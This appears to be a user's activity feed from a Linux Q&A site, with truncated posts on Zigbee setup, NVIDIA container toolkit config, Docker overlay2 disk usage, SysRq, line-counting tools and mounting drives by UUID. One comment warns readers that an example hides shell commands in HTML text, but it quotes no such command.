I also saw links to Zigbe2MQTT. But I didn't really understand what it was or why it was needed. Is this "equivalent to Network Manager" that I was asking about, or a driver, or something else? (more) |

Why does nvidia CTK config need to be manually generated at each boot? For certain GPU-accelerated tasks, such as Docker containers using GPU, I need to run the following on every boot: ``` sudo nvidia-ctk cdi generate --output /var/run/cdi/nvidia.yaml ``` Without this, GPU-dependent containers refuse to launch and `nvidia-smi` doesn't work inside containers, but ...

A: How do I solve the error 'Dependencies installation failed'? Bottles has a builtin dependency manager which it looks like you are using. The manager downloads dependencies from their official location and installs them in some way that works "better" for Wine as opposed to real Windows (I don't know what exactly they do different). IIRC Bottles comes with ... (more) |

How to connect to Zigbee devices? I think I finally found a topic the Arch wiki doesn't cover :) I have a Zigbee USB dongle and some Zigbee-capable wireless devices. The dongle is supposed to create a network to which the devices can connect over Zigbee. How do you actually control this from Arch Linux? Is there something analo... (more) |

How to enable SysRq key? I want my SysRq key to be fully functional. When I look in `sudo sysctl -a` I see `kernel.sysrq = 1` in the output. This tells me it should be working. To test, I run `echo h > /proc/sysrq-trigger` but nothing happens. I've tried this in a terminal emulator as well as a TTY. I was expecting to ... (more) |

Thank you! It looks like in the output of `docker inspect $CONTAINER` there is a property `GraphDriver` that shows the overlay directories used for that container. Your answer then provides a more sophisticated way of finding the correct container. (more) |

This was after pruning, but with your additional argument for one month, it did delete the 10 GB directory. Thank you! I would still like to find out which container caused the 10 GB, so that I can prevent the issue in the future as well. (more) |

How to identify which Docker container an overlay is for? Docker stores data under directories like `/var/lib/docker/overlay2/xyz123`. These sometimes grow very large, and Docker does not provide good instructions for how to easily manage the space used by these. I assume IDs like `xyz123` somehow correspond to containers. Occasionally, I notice that one... (more) |

For other readers: The example uses some HTML magic to hide some extra text. It works because technically Markdown can have HTML mixed in and this site supports that. The hidden text contains shell commands, when you triple-click, they get selected too.

That's weird. And you get decent FPS in games and so on? In any case, that definitely sounds like the Linux driver for your Nvidia card has some bugs. Maybe the driver crashes, and X responds by falling back to something else, idk.

I think asking for a program that counts LOC is fair.
Because there is no single correct solution, you should say why you want to get a LOC count. If it's to measure complexity, then say that (and prepare for a bunch of ackchyuallys telling you the obvious caveat that it's not a perfect heuristic)... (more) |

I think it's fine to interpret it as "better = answer got most upvotes". The OP sounds like he doesn't know much theory about measuring codebase size, so he is asking for a good metric as much as the name of the program that wins under that metric.

A: What is the most accurate CLOC (count lines of code) program? Objectively, the most accurate way would be to actually count the lines. So you would do `wc` on each file and add them up. This ends up being not a very useful statistic, because it is sensitive to many trivial things that people who talk about LoC would rather disregard: Blank lines, lines broke... (more) |

> Besides, your screenshot shows a folder with that same UUID in the /mnt directory. I only have the "Secondary 0" (named it that in the mounting point input field). How come?

I believe the OS will simply come up with a "reasonable" location to mount it at. I believe that the "standard" place (based on FHS/XDG recommendations) is something like `/run/media/USERNAME/UUID/`. So if you're going to access the drive often and don't want to be typing that `/run/media` stuff, you... (more) |

Btw, this answer is showing a GUI frontend, but under the hood it all becomes a command invoking `mount`. The dialog is basically just a GUI for composing a `mount ...` command. All the details for how mounting works are in https://man.archlinux.org/man/mount.8 (more) |

It's how the OS will find the correct disk. Unless you have a very specific use case, you almost certainly want the UUID option.
It used to be that disks would get names like `/dev/sda`, `/dev/sdb` with partitions getting `/dev/sda1` and so on. You couldn't predict whether a drive ends up with `sd... (more) |
